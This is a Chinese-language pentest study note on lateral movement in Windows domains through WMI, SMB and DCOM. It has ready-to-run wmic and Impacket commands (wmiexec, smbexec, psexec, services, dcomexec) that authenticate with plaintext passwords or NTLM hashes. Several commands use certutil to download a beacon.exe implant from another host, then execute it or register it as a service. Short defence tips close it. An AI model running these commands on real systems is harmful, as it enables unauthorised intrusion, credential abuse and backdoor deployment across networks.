内网对抗-横向移动篇&入口切换&SMB共享&WMI管道&DCOM组件&Impacket套件&CS插件
➢ 横向移动-WMI服务-条件&明文&HASH
➢ 横向移动-SMB服务-条件&明文&HASH
➢ 横向移动-DCOM服务-条件&明文&HASH
windows 2012以上默认关闭了Wdigest,所以攻击者无法通过内存获取到明文密码
为了针对以上情况 所以有四种方法解决:
1.利用(PTH,PTK)等进行移动不需要明文
2.利用其他服务协议(SMB/WMI等进行哈希移动)
3.利用注册表开启(wdigest auth)进行获取、
4.利用工具或者第三方平台(HASHCAT进行破解获取)
WMI全称"windows管理规范",从win2003开始一直存在。它原本的作用是方便管理员对windows主机进行管理。因此在内网渗透中,我们可以使用WMI进行横向移动,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。
利用条件:
1、WMI服务开启,端口135,默认开启。
2、防火墙允许135、445等端口通信。
3、知道目标机的账户密码或HASH。
利用详情:
1.wmic
内置:(单执行)
shell wmic /node:192.168.3.32 /user:sqlserver\administrator /password:admin!@#45 process call create "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"
shell wmic /node:192.168.3.32 /user:sqlserver\administrator /password:admin!@#45 process call create "c:/beacon.exe"
2.cscript
内置:(交互式不适用CS)
上传wmiexec.vbs
cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
3.wmiexec-impacket -----推荐使用
外部:(交互式&单执行)
python wmiexec.py sqlserver/administrator:admin!@#45@192.168.3.32
python wmiexec.py sqlserver/administrator:admin!@#45@192.168.3.32 "whoami"
python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c sqlserver/administrator@192.168.3.32 "whoami"
下载后门:
python wmiexec.py sqlserver/administrator:admin!@#45@192.168.3.32 "certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"
执行后门:
python wmiexec.py sqlserver/administrator:admin!@#45@192.168.3.32 "c:/beacon.exe"
4.cs插件 ----- 使用CS插件的坏处是无法进行交互式
wmihacker==cscript
SMB服务通常由文件服务器提供,它允许客户端计算机通过网络访问服务器上的共享资源。通过SMB用户可以在网络上访问和共享文件夹、文件以及打印机,从而实现在不同计算机之间方便地共享数据和打印输出。利用SMB可通过明文或HASH传递来远程执行。
利用条件:
1、文件与打印机服务开启,默认开启。
2、防火墙允许135、445等端口通信。
3、知道目标机的账户密码或HASH。
利用详情:
1.psexec ---- WINDOWS白名单程序-不推荐
内部:(交互式 windows官方工具)
https://learn.microsoft.com/zh-cn/sysinternals/downloads/pstools
psexec \\192.168.3.32 -u administrator -p admin!@#45 -s cmd
外部:(交互式 外人开发的工具)
psexec -hashes :518b98ad4178a53695dc997aa02d455c sqlserver/administrator@192.168.3.32
2.smbexec-impacket ---- 推荐使用
外部:(交互式)
python smbexec.py sqlserver/administrator:admin!@#45@192.168.3.32
python smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c sqlserver/administrator@192.168.3.32
3.services
内置:(单执行)
services -hashes :518b98ad4178a53695dc997aa02d455c sqlserver/administrator:@192.168.3.32 create -name shell -display shellexec -path C:\beacon.exe
services -hashes :518b98ad4178a53695dc997aa02d455c sqlserver/administrator:@192.168.3.32 start -name shell
4.CS插件:
cs-psexec
DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求 -------------需要防火墙关闭条件非常苛刻
参考:https://mp.weixin.qq.com/s/9u0kprGbaU1S1BEQWj18AA
条件:
0.适用目标Win7系统以上
1.管理员权限PowerShell
2.远程主机防火墙未阻止
dcomexec-impacket
python dcomexec.py sqlserver/administrator:admin!@#45@192.168.3.32
python dcomexec.py sqlserver/administrator:admin!@#45@192.168.3.32 whoami
python dcomexec.py sqlserver/administrator:@192.168.3.32 whoami -hashes :518b98ad4178a53695dc997aa02d455c
防御测试:
1、关闭wmi服务
2、smb防火墙阻止
3、dcom防火墙阻止
总结:
SMB横向是正向,上线因为有防火墙用反向
psexec能使用套件的使用套件 原生的容易交互问题导致error